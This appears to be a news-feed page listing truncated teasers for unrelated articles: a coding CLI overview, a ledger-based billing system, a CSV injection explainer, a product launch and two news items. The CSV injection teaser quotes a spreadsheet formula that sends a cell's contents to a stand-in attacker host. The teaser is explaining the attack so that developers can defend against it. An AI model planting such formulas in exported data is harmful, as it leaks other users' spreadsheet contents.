Coding CLIs in mid-2026: the engineer's map (and what changed in 30 days)

June 23, 2026 · Dev.to

How I built a billing system with a real double-entry ledger in Node + PostgreSQL
Most billing code has the same bug hiding in it: it stores the account balance as a number and mutates it — balance += a
CSV injection: the export button that runs code on someone else's machine
A customer fills in their name. They type =HYPERLINK("http://evil.example/?leak="&A2,"click"). Your validation passes. I
Introducing Upsun Dispatch 🚀
Today, we are introducing Upsun Dispatch. 🚀 AI made engineers faster. It didn't make teams faster. The constraint was ne
Gaza residents have one option to survive summer heat: A polluted sea
Gaza residents have one option to survive summer heat A polluted sea
NTA releases CUET UG 2026 results, female participation jumps 20%
NTA releases CUET UG results female participation jumps